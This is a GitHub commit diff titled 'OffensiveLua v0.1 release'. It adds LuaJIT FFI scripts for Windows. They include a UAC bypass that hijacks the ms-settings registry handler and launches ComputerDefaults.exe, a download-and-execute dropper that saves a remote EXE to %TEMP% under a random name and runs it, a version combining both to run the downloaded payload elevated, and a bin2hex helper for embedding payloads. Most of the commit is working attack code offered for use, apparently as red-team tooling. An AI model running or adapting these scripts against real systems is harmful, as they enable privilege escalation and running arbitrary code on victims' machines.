Skip to content

Commit 391738a

Browse files
committed
OffensiveLua v0.1 release
1 parent 8569dda commit 391738a

16 files changed

+729
-0
lines changed

Diff for: ComputerDefaultsUACBypass.lua

+84
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
-- This uses ComputerDefaults.exe to bypass UAC prompts
2+
-- from Lua with FFI. Luajit.exe runs under SysWOW64 so
3+
-- only x86 payloads or adaptions of them will work. This
4+
-- uses registry editing, some registry bugs are x64 only.
5+
--
6+
-- tested Windows 11 Desktop Version 10.0.22621.2428
7+
local ffi = require("ffi")
8+
9+
-- The payload to run
10+
local cmdpayload = "cmd.exe"
11+
12+
-- Load the Windows Registry API library
13+
local advapi32 = ffi.load("advapi32")
14+
15+
-- Define Windows API functions and constants
16+
ffi.cdef[[
17+
typedef void* HKEY;
18+
typedef unsigned long DWORD;
19+
typedef long LONG;
20+
typedef const char* LPCSTR;
21+
22+
LONG RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, HKEY* phkResult);
23+
LONG RegCreateKeyA(HKEY hKey, LPCSTR lpSubKey, HKEY* phkResult);
24+
LONG RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
25+
LONG RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const void* lpData, DWORD cbData);
26+
void SetLastError(DWORD dwErrCode);
27+
void* GetProcessHeap();
28+
void* HeapAlloc(void* hHeap, DWORD dwFlags, size_t dwBytes);
29+
void HeapFree(void* hHeap, DWORD dwFlags, void* lpMem);
30+
]]
31+
32+
-- Constants
33+
local HKEY_CURRENT_USER = ffi.cast("HKEY", 0x80000001)
34+
local REG_SZ = 1
35+
36+
-- Function to write a registry value
37+
function writeRegistryValue(key, subKey, valueName, valueData)
38+
local hKey = ffi.new("HKEY[1]")
39+
local result = advapi32.RegCreateKeyA(key, subKey, hKey)
40+
41+
if result == 0 then
42+
local data = ffi.new("const char[?]", #valueData + 1, valueData)
43+
local dataSize = ffi.sizeof(data)
44+
45+
result = advapi32.RegSetValueExA(hKey[0], valueName, 0, REG_SZ, data, dataSize)
46+
47+
if result == 0 then
48+
return true
49+
end
50+
end
51+
52+
return false
53+
end
54+
55+
-- Function to delete a registry key and its subkeys using RegDeleteTree
56+
function deleteRegistryTree(key, subKey)
57+
local result = advapi32.RegDeleteTreeA(key, subKey)
58+
59+
if result == 0 then
60+
return true
61+
end
62+
63+
return false
64+
end
65+
66+
-- Example usage to write a registry value
67+
local success = writeRegistryValue(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", "DelegateExecute", "")
68+
local success = writeRegistryValue(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", "", cmdpayload)
69+
if success then
70+
print("Successfully wrote the registry value.")
71+
72+
-- Execute ComputerDefaults.exe to bypass UAC prompts
73+
os.execute("C:\\Windows\\Syswow64\\ComputerDefaults.exe")
74+
75+
-- Example usage to delete the registry key and its subkeys
76+
local deleteSuccess = deleteRegistryTree(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command")
77+
if deleteSuccess then
78+
print("Successfully deleted the registry key and its subkeys.")
79+
else
80+
print("Failed to delete the registry key and its subkeys.")
81+
end
82+
else
83+
print("Failed to write the registry value.")
84+
end

Diff for: bin2hex.lua

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
-- Output a file as hex for use with binrun.lua and binrundll.lua
2+
3+
local ffi = require("ffi")
4+
5+
-- Function to read a file and return its content as a hex array
6+
local function readFileAsHexArray(filePath)
7+
local file = io.open(filePath, "rb")
8+
if not file then
9+
return nil
10+
end
11+
12+
local content = file:read("*all")
13+
file:close()
14+
15+
local hexArray = {}
16+
for i = 1, #content do
17+
local byte = string.byte(content, i)
18+
table.insert(hexArray, string.format("\\x%02X", byte))
19+
end
20+
21+
return hexArray
22+
end
23+
24+
-- Main function
25+
local function main()
26+
local filePath = arg[1]
27+
28+
if not filePath then
29+
print("Usage: lua script.lua <file_path>")
30+
return
31+
end
32+
33+
local hexArray = readFileAsHexArray(filePath)
34+
35+
if not hexArray then
36+
print("Failed to open or read the file.")
37+
return
38+
end
39+
40+
-- Print the hex array as a C-style array for scripts
41+
print("local data = \"" .. table.concat(hexArray, "") .. "\";")
42+
end
43+
44+
main()

Diff for: binrun.lua

+62
Large diffs are not rendered by default.

Diff for: console.lua

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
local ffi = require("ffi")
2+
3+
-- Define the necessary Windows API functions and constants
4+
ffi.cdef[[
5+
bool AllocConsole();
6+
bool FreeConsole();
7+
int printf(const char *format, ...);
8+
int GetLastError();
9+
]]
10+
11+
-- Allocate a console
12+
if ffi.C.AllocConsole() == 0 then
13+
print("Failed to allocate a console. Error code: " .. ffi.C.GetLastError())
14+
return
15+
end
16+
17+
-- Print "Hello, World" to the console
18+
ffi.C.printf("Hello, World\n")
19+
20+
-- Free the console when you're done
21+
ffi.C.FreeConsole()

Diff for: downloadexec.lua

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
-- download & exec
2+
-- takes a url e.g. http://127.0.0.1/Renge_x64.exe" and executes it.
3+
local ffi = require("ffi")
4+
5+
-- Define the URLDownloadToFile function prototype
6+
ffi.cdef[[
7+
typedef int HRESULT;
8+
HRESULT URLDownloadToFileA(
9+
void* pCaller,
10+
const char* szURL,
11+
const char* szFileName,
12+
unsigned long dwReserved,
13+
void* lpfnCB
14+
);
15+
void Sleep(unsigned long dwMilliseconds);
16+
]]
17+
18+
-- Load the urlmon.dll library
19+
local urlmon = ffi.load("urlmon")
20+
21+
-- Define the URL and file path
22+
local url = "http://127.0.0.1/Renge_x64.exe"
23+
24+
-- Function to generate random string
25+
function generateRandomString(length)
26+
local charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
27+
local str = ""
28+
math.randomseed(os.time())
29+
for _ = 1, length do
30+
local randomIndex = math.random(1, #charset)
31+
str = str .. charset:sub(randomIndex, randomIndex)
32+
end
33+
return str
34+
end
35+
36+
-- Generate a random file name with a .exe extension in the %TEMP% directory
37+
local tempDir = os.getenv("TEMP") or os.getenv("TMP") or "C:\\Temp"
38+
local localPath = tempDir .. "\\" .. generateRandomString(8) .. ".exe"
39+
40+
-- Use URLDownloadToFile to download the file
41+
local result = urlmon.URLDownloadToFileA(nil, url, localPath, 0, nil)
42+
43+
if result == 0 then
44+
print("File downloaded successfully.")
45+
46+
-- Sleep for a moment to ensure the file is completely written
47+
ffi.C.Sleep(1000)
48+
49+
-- Now, let's execute the downloaded file
50+
local success, exitCode = os.execute(localPath)
51+
52+
if success then
53+
print("Executable ran successfully. Exit code: " .. exitCode)
54+
else
55+
print("Failed to run the executable.")
56+
end
57+
else
58+
print("Failed to download the file. Error code: " .. result)
59+
end

Diff for: downloadexec_UACbypass.lua

+135
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
-- download & exec then bypass UAC elevation prompt.
2+
-- takes a url e.g. "http://127.0.0.1/payload.exe"
3+
-- and executes it with elevated rights bypassing UAC.
4+
5+
local ffi = require("ffi")
6+
7+
8+
-- Define the URL and file path
9+
local url = "http://127.0.0.1/Renge_x64.exe"
10+
11+
-- Define the FFI function prototypes for registry and download.
12+
ffi.cdef[[
13+
typedef int HRESULT;
14+
typedef void* HKEY;
15+
typedef unsigned long DWORD;
16+
typedef long LONG;
17+
typedef const char* LPCSTR;
18+
HRESULT URLDownloadToFileA(
19+
void* pCaller,
20+
const char* szURL,
21+
const char* szFileName,
22+
unsigned long dwReserved,
23+
void* lpfnCB
24+
);
25+
void Sleep(unsigned long dwMilliseconds);
26+
LONG RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, HKEY* phkResult);
27+
LONG RegCreateKeyA(HKEY hKey, LPCSTR lpSubKey, HKEY* phkResult);
28+
LONG RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
29+
LONG RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const void* lpData, DWORD cbData);
30+
void SetLastError(DWORD dwErrCode);
31+
void* GetProcessHeap();
32+
void* HeapAlloc(void* hHeap, DWORD dwFlags, size_t dwBytes);
33+
void HeapFree(void* hHeap, DWORD dwFlags, void* lpMem);
34+
]]
35+
36+
-- Load the urlmon.dll library
37+
local urlmon = ffi.load("urlmon")
38+
39+
-- Load the Windows Registry API library
40+
local advapi32 = ffi.load("advapi32")
41+
42+
-- Constants
43+
local HKEY_CURRENT_USER = ffi.cast("HKEY", 0x80000001)
44+
local REG_SZ = 1
45+
46+
-- Functions begin
47+
-- Function to generate random string
48+
function generateRandomString(length)
49+
local charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
50+
local str = ""
51+
math.randomseed(os.time())
52+
for _ = 1, length do
53+
local randomIndex = math.random(1, #charset)
54+
str = str .. charset:sub(randomIndex, randomIndex)
55+
end
56+
return str
57+
end
58+
59+
-- Function to write a registry value
60+
function writeRegistryValue(key, subKey, valueName, valueData)
61+
local hKey = ffi.new("HKEY[1]")
62+
local result = advapi32.RegCreateKeyA(key, subKey, hKey)
63+
64+
if result == 0 then
65+
local data = ffi.new("const char[?]", #valueData + 1, valueData)
66+
local dataSize = ffi.sizeof(data)
67+
68+
result = advapi32.RegSetValueExA(hKey[0], valueName, 0, REG_SZ, data, dataSize)
69+
70+
if result == 0 then
71+
return true
72+
end
73+
end
74+
75+
return false
76+
end
77+
78+
-- Function to delete a registry key and its subkeys using RegDeleteTree
79+
function deleteRegistryTree(key, subKey)
80+
local result = advapi32.RegDeleteTreeA(key, subKey)
81+
82+
if result == 0 then
83+
return true
84+
end
85+
86+
return false
87+
end
88+
-- Functions end
89+
90+
-- Generate a random file name with a .exe extension in the %TEMP% directory
91+
local tempDir = os.getenv("TEMP") or os.getenv("TMP") or "C:\\Temp"
92+
local localPath = tempDir .. "\\" .. generateRandomString(8) .. ".exe"
93+
94+
-- Use URLDownloadToFile to download the file
95+
local result = urlmon.URLDownloadToFileA(nil, url, localPath, 0, nil)
96+
97+
if result == 0 then
98+
print("File downloaded successfully.")
99+
100+
-- Sleep for a moment to ensure the file is completely written
101+
ffi.C.Sleep(1000)
102+
103+
-- Now, let's execute the downloaded file via UAC bypass
104+
-- Example usage to write a registry value
105+
local success = writeRegistryValue(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", "DelegateExecute", "")
106+
if success then
107+
print("Successfully wrote the registry value.")
108+
else
109+
print("Failed to write to registry value.")
110+
end
111+
local success = writeRegistryValue(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", "", localPath)
112+
if success then
113+
print("Successfully wrote the registry value.")
114+
else
115+
print("Failed to write to registry value.")
116+
end
117+
118+
-- Execute ComputerDefaults.exe to bypass UAC prompts and run localPath (our downloaded EXE)
119+
local success, exitCode = os.execute("C:\\Windows\\Syswow64\\ComputerDefaults.exe")
120+
if success then
121+
print("Executable ran successfully. Exit code: 0")
122+
else
123+
print("Failed to run the executable.")
124+
end
125+
-- Example usage to delete the registry key and its subkeys
126+
local deleteSuccess = deleteRegistryTree(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command")
127+
if deleteSuccess then
128+
print("Successfully deleted the registry key and its subkeys.")
129+
else
130+
print("Failed to delete the registry key and its subkeys.")
131+
end
132+
else
133+
print("Failed to download the file. Error code: " .. result)
134+
end
135+

Diff for: filewrite.lua

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
-- Load the FFI library
2+
local ffi = require("ffi")
3+
4+
-- Define the necessary Windows API functions and constants
5+
ffi.cdef[[
6+
typedef void* HANDLE;
7+
typedef int BOOL;
8+
typedef unsigned long DWORD;
9+
typedef void* LPVOID;
10+
HANDLE CreateFileA(const char* lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, void* lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
11+
BOOL WriteFile(HANDLE hFile, const void* lpBuffer, DWORD nNumberOfBytesToWrite, DWORD* lpNumberOfBytesWritten, void* lpOverlapped);
12+
BOOL CloseHandle(HANDLE hObject);
13+
]]
14+
15+
-- Constants for file creation and access
16+
local GENERIC_WRITE = 0x40000000
17+
local CREATE_ALWAYS = 2
18+
19+
-- Path to the file to be created
20+
local filename = "C:\\temp\\test.txt"
21+
22+
-- Open the file using CreateFile
23+
local hFile = ffi.C.CreateFileA(filename, GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, nil)
24+
25+
if hFile == nil or hFile == ffi.cast("HANDLE", -1) then
26+
print("Error creating the file")
27+
else
28+
-- Data to be written to the file
29+
local data = "hello world"
30+
31+
-- Write the data to the file
32+
local bytesWritten = ffi.new("DWORD[1]")
33+
local result = ffi.C.WriteFile(hFile, data, #data, bytesWritten, nil)
34+
35+
if result == 1 then
36+
print("File created and data written successfully.")
37+
else
38+
print("Error writing to the file.")
39+
end
40+
41+
-- Close the file handle
42+
ffi.C.CloseHandle(hFile)
43+
end

0 commit comments

Comments
 (0)